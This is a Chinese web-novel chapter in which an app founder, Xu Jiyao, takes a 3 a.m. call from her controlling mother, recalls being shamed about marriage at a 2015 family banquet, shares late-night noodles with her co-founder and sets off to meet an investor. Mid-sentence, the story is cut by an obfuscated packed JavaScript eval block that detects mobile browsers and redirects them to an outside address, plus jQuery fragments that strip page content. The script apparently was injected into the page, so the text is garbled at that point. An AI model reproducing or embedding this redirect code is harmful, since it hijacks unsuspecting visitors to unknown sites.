电话是在凌晨三点打来的。
徐寄遥刚处理完“无处可逃”的订单，女孩的父亲在楼梯上滑倒了，酒醒了一半，被随后赶到的警察带走醒酒。
她和应宽又在工作室待了两个小时，确认女孩和母亲安全，才各自回房间休息。
工作室是合租的，三室一厅，应宽住一间，徐寄遥住一间，剩下中间的一间暂时放些杂物。这是他们创业一年多来的标配住宿，能省则省，把钱都砸在项目上。
手机震动的时候，徐寄遥正在做梦。
梦里她八岁，坐在钢琴前，手指僵硬地按着琴键。母亲站在身后，手里拿着一把塑料尺子。
“错了，”尺子敲在肩膀上，“重来。”
她又按了一遍。
“还是错，你怎么这么笨？”
尺子又敲下来。不疼，但那种屈辱感，二十多年后依然清晰。
手机还在震。
徐寄遥睁开眼，摸到手机，看到屏幕上跳动的名字，“妈”。
凌晨三点。
她按掉，翻个身继续睡。
手机又震。
再按掉。
第三次响起的时候，徐寄遥坐起来，盯着那个名字看了五秒，然后接通。
“喂。”
“你这孩子怎么回事，挂我电话啊？”何久红的声音尖锐刺耳，在寂静的凌晨格外清晰，“你居然挂妈妈的电话？”
徐寄遥看了一眼时间。
3:17。
“妈，现在是凌晨三点。”
“凌晨三点怎么了？我气到现在睡不着！你知道我为什么睡不着吗？被你气的！”
徐寄遥闭上眼，深吸一口气。她告诉自己，不要吵，不要吵，凌晨三点吵架没有任何意义。
但她知道，何久红不会这么想。在母亲的世界里，没有不合适的时间，只有你必须接我电话。
“你发的那个自动回复是什么意思？”何久红继续输出，“什么‘代吵师不接让父母痛苦的订单’？我是你妈妈！你不是喜欢跟我吵架吗，我下个单让你来骂我，照顾你生意，你还发这种官话打发妈妈？”
“妈，那是系统自动……”
“别跟我说系统！你那个APP是你开的，系统也是你定的！怎么回复还不是你说了算！你不就是嫌我烦吗？行！妈以后再也不管你了！”
徐寄遥没有说话。她太熟悉这套话术了，先指责，再委屈，最后用“再也不管你”来逼你低头。
“喂？遥遥，妈在跟你说话！”
“我在听。”
“你就这么听着？你要意识到你的错啊！”
“啊？妈，我错什么了？”
“你、”何久红卡了一下，然后换了个方向，“你不回家过年！你一个人在外面漂！你32岁了还不结婚！你搞那个什么代吵APP，帮别人吵架，你自己家的矛盾不管！你说你错什么了？”
徐寄遥睁开眼睛，看着天花板。
天花板上有一块水渍，形状像一只兔子。她盯着那只兔子，语气平静得近乎冷漠：
“妈，我的APP上线31天，接了500多单，没收一分钱，我欠应宽的工资已经三个月没发了，我明天、不对，是今天，今天要去见一个投资人，如果谈不下来，下个月服务器就续不起了。”
她顿了顿。
“妈，你觉得在这个情况下，我应该在哪儿？在家里陪你过年？还是去相亲？”
电话那头突然安静了。
然后何久红说：“你怎么不早说？”
徐寄遥冷笑了一下。这是典型的何久红式关心，永远在指责，偶尔流露一点真实，但很快就会绕回自己身上。
果然，下一句是：
“妈妈早就说你那个APP不靠谱！什么代吵，一听就不正经！你看人家王阿姨的儿子，在税务局上班，稳稳当当的，多好啊！你啊！你要听妈妈的话啊！”
“妈，”徐寄遥打断她，“我累了，三点多了，我要睡了。”
“妈还有话要说！”
“拜拜。”
徐寄遥挂断电话，把手机调成飞行模式，扔到一边。
她盯着天花板上的兔子，脑子里却浮现出另一段记忆。
2015年，夏天。
/
那是她大学毕业的第二年，22岁，刚进互联网公司做产品助理。工资不算很高，但够花，偶尔和朋友出去吃饭，生活简单而充实。
唯一的烦恼是相亲。
何久红从她毕业那天就开始张罗。
先是托亲戚介绍，然后是朋友，然后是朋友的朋友。
徐寄遥拒绝了一次，两次，三次……到第八次的时候，她已经学会用加班当借口。
第九次是在一个亲戚的饭局上。
那天是表舅的儿子结婚，全家族的人都到了。
何久红穿着她最讲究的藏蓝色套装，头发精心打理过，涂着口红，笑得得体又精致。
徐寄遥坐在她旁边，穿着一件牛仔衬衣和牛仔裤。她刚下班赶过来。
“哎，寄遥啊，”三姨凑过来，压低声音但音量足够让半桌人听见，“有对象了没？”
徐寄遥礼貌地笑笑：“还没，我才刚毕业。”
“哎哟，22了，该找了，三姨有个同事，她儿子特别优秀，政府公务员，比你大几岁，要不介绍你们认识认识？”
“谢谢三姨，我工作挺忙的，暂时不想……”
“哎哟，忙什么忙，”三姨打断她，“女孩子工作那么拼干什么哦，找个好人家才是正经哟。”
何久红在旁边笑着点头：“就是嘛，我也这么说她，这孩子，就知道工作，还想当女强人。”
徐寄遥没有说话。她低头夹菜，假装没听见。
但何久红显然没打算放过她。
何久红端着酒杯，对着全桌亲戚，“我这个女儿啊，长相学历什么都好，就是太挑了，之前给她介绍了八个，八个都说看不上，都是条件很好的男孩子啊，有房有车有稳定工作，她就是不乐意。”
徐寄遥握着筷子的手紧了紧。
“妈。”
“怎么？”何久红看她一眼，眼神里带着笑，但那笑是冷的，“你倒是说说，那些男孩子哪里不好？”
全桌人的目光都落在徐寄遥身上。
她感觉自己像一只被放在展台上的动物，任人评头论足。
“不是哪里不好，”她尽量保持语气的平静，“我才刚毕业，想要好好工作几年，现在不合适。”
“不合适不合适，”何久红学着她的语气，“你跟谁合适？你说说看，你到底想找什么样的？这么大的人了，是不是还在做什么追星族，崇拜哪个男明星！”
亲戚们笑起来。那笑声里有关切，有好奇，但也有一种隐秘的、看热闹的兴奋。
徐寄遥的脸开始发烫。
“妈，什么猴年马月的事了，我没有。”小时候追过某男明星的事，要被何久红嚼一辈子。
“你就是眼光太高！”何久红放下酒杯，声音提高了一度，“我跟你说，女孩子过了二十五就不好找了，你还不抓紧，你看看你表姐，比你大两岁，孩子都两岁了，你呢？还不谈对象，你让我这张老脸往哪搁？”
“妈，这是我自己的事。”徐寄遥有些急眼了，这么多人看着。
“你自己的事？”何久红彻底放下筷子，转向她，“我是你妈！我辛辛苦苦把你养大，你就这么报答我？”
徐寄遥的胸口开始发闷。
她知道自己应该忍住，不要在这种场合顶嘴。但她22岁，年轻气盛，心里那根刺已经被扎了太多次。
“所以呢？”她抬起头，看着母亲，“你养我长大，就是为了让我嫁人？”
空气突然安静了。
何久红的表情僵住。那张精致的脸上浮现出一种徐寄遥从未见过的神色。
不是愤怒，不是伤心，是一种近乎扭曲的、被戳穿的羞恼。
然后她说出那句话。
“嫁人？我不跟你张罗，你以为你嫁得出去？”
何久红站起来，居高临下地看着她，声音响彻整个包间：
“你妈我给你介绍了八个，八个你都看不上，你以为你是谁？你以为你条件多好？我告诉你，不趁着年轻找个条件好的，你再这样下去，就没有人要了！”
没有人要了。
这五个字像耳光一样抽在徐寄遥脸上。
包间里静得能听见空调的嗡鸣声。亲戚们都低着头，假装在吃东西。
徐寄遥站起来。
她没有哭。她也不知道自己为什么不哭。
她只是站起来，对表舅说了一声“我先走了”，然后拿起包，走了出去。
走出酒店的时候，外面下着雨。
夏天的暴雨，说下就下。她站在酒店门口的雨棚下，看着雨水砸在地上，溅起白色的水花。
不知道过了多久，有人从背后拍了拍她的肩膀。
是父亲。
徐士朋站在她身后，手里拿着一把伞。
他没说话，只是把伞递给她。
“爸，”她开口，声音沙哑，“我妈说的是真的吗？我真的那么差？”
徐士朋沉默了。然后他说：
“遥遥，你很优秀。”
就这么简单的一句话。
那天晚上，回家后徐寄遥把自己关在房间里，用被子蒙着头哭了很久。
从那以后，她再也没有为这件事哭过。
/
回忆像潮水一样退去。
徐寄遥仍然躺在床上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239909|197680||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，盯着天花板上那只兔子形状的水渍。
手机在枕头边安静地躺着。飞行模式。凌晨四点。
她知道今天还要去见投资人。
她想起父亲。想起他的沉默，和他为数不多的几句话。
徐士朋是个不善言辞的人。
做了一辈子中学教师，教数学，从普通教师做到副校长。但在家里，他总是话最少的那一个。
何久红骂他的时候，他听着。何久红骂徐寄遥的时候，他在旁边沉默地看着，眼神里有心疼，但很少插嘴。
徐寄遥小时候恨过他的沉默。她觉得他懦弱，不敢保护她。
直到很多年后她才明白，沉默是父亲的生存之道。
何久红的火力是固定的，如果徐士朋开口，会把火力引到自己身上，然后父女俩一起挨骂，没完没了。
徐寄遥翻了个身，摸到手机，犹豫了一下，关掉了飞行模式。
一条新消息来自应宽，凌晨四点整：
“睡不着的话，我煮了面。”
她愣了一下，然后轻轻笑了。
这个技术宅，凌晨四点不睡，煮面。
她翻身起床，披上外套，推开门。
客厅里亮着一盏小灯。
应宽坐在餐桌前，面前摆着两碗面，汤清白面，上面卧着一个荷包蛋。他盯着笔记本电脑的屏幕，手指还在键盘上敲着什么。
“你不睡？”徐寄遥走过去，在他对面坐下。
“服务器有点波动，我调了一下。”应宽合上电脑，推给她一碗面。
徐寄遥低头吃面。面是清汤的，看起来只放了点葱花和盐，可味道就是很好。
该说不说，这个技术宅，厨艺方面确实有些天赋。
“你妈又打电话了？”应宽问。
“嗯。”
“说什么？”
徐寄遥想了想，挑了一个不太重要的说：“问我为什么不接她那个骂自己的订单。”
应宽沉默了一下，然后说：“你妈挺有意思的，还会用代吵APP。”
徐寄遥差点被面呛到。
“应宽，”她放下筷子，看着他，“你这是在安慰我，还是在损我？”
“实话实说。”应宽推了推眼镜。
徐寄遥盯着他看了几秒，然后笑了。
这一次是真的笑。
“谢谢。”
“谢什么？”
“谢谢你凌晨四点煮面我吃。”
“嗐，顺手的事儿。”应宽说。
他低下头，继续吃面。灯光打在他的侧脸上，黑眼圈很明显，但嘴角有一点点上扬的弧度。
“吃完了去睡，”他说，“投资人约的九点半，你总不想顶着俩黑眼圈去见人。”
“你呢？”
“我再盯一会儿服务器。”
徐寄遥没有劝他。
吃完面，她把碗端到厨房洗了，然后站在厨房门口，看着应宽的背影。这个男人一米八五，进出房门总是不小心碰到头。
“应宽。”
“嗯？”
“我们一定能把这个APP做起来，对吧？”
应宽转过头，看着她。他的眼睛藏在镜片后面。
“能，”他说，“我们一定能。”
/
早上八点，徐寄遥被闹钟叫醒。
她睡了不到三个小时，但精神状态还不错。
冲了个澡，换上她为数不多偏职业的衣服，一套简约的黑色西服套装。化了妆，头发还是齐肩短发，用发胶稍微打理了一下，露出额头，看起来干练利落。
右耳的耳钉形降噪耳机，她从来不摘。那是她的标志，也是她的护身符，戴上它，就进入作战状态。
应宽已经换好了衣服。万年不变的深色T恤加工装裤，头发还是乱的，但至少把黑框眼镜擦亮了。
“投资人那边确认了，”他拿着手机，“九点半，星巴克，对方叫周敏，鲲鹏资本的投资经理，三十五岁，女。”
徐寄遥点点头。
“你紧张？”应宽问。
“不紧张，”徐寄遥拿起包，“紧张也没用，该来的总会来。”
出门前，她看了一眼手机。
何久红没再发消息。
她把手机揣进口袋，推开门。
外面阳光很好，是2025年大年初一的早晨。
小区里很安静，大部分人还在睡觉。只有几个老太太在楼下遛弯，看见她出来，多看了两眼。
徐寄遥迎着阳光往前走。
她想起应宽说的那句话，我们一定能。
她也想起何久红那句，没有人要了。
十年过去了，那句话还在。但它不再是一根刺，而是一块垫脚石。
她踩着它，走得更高。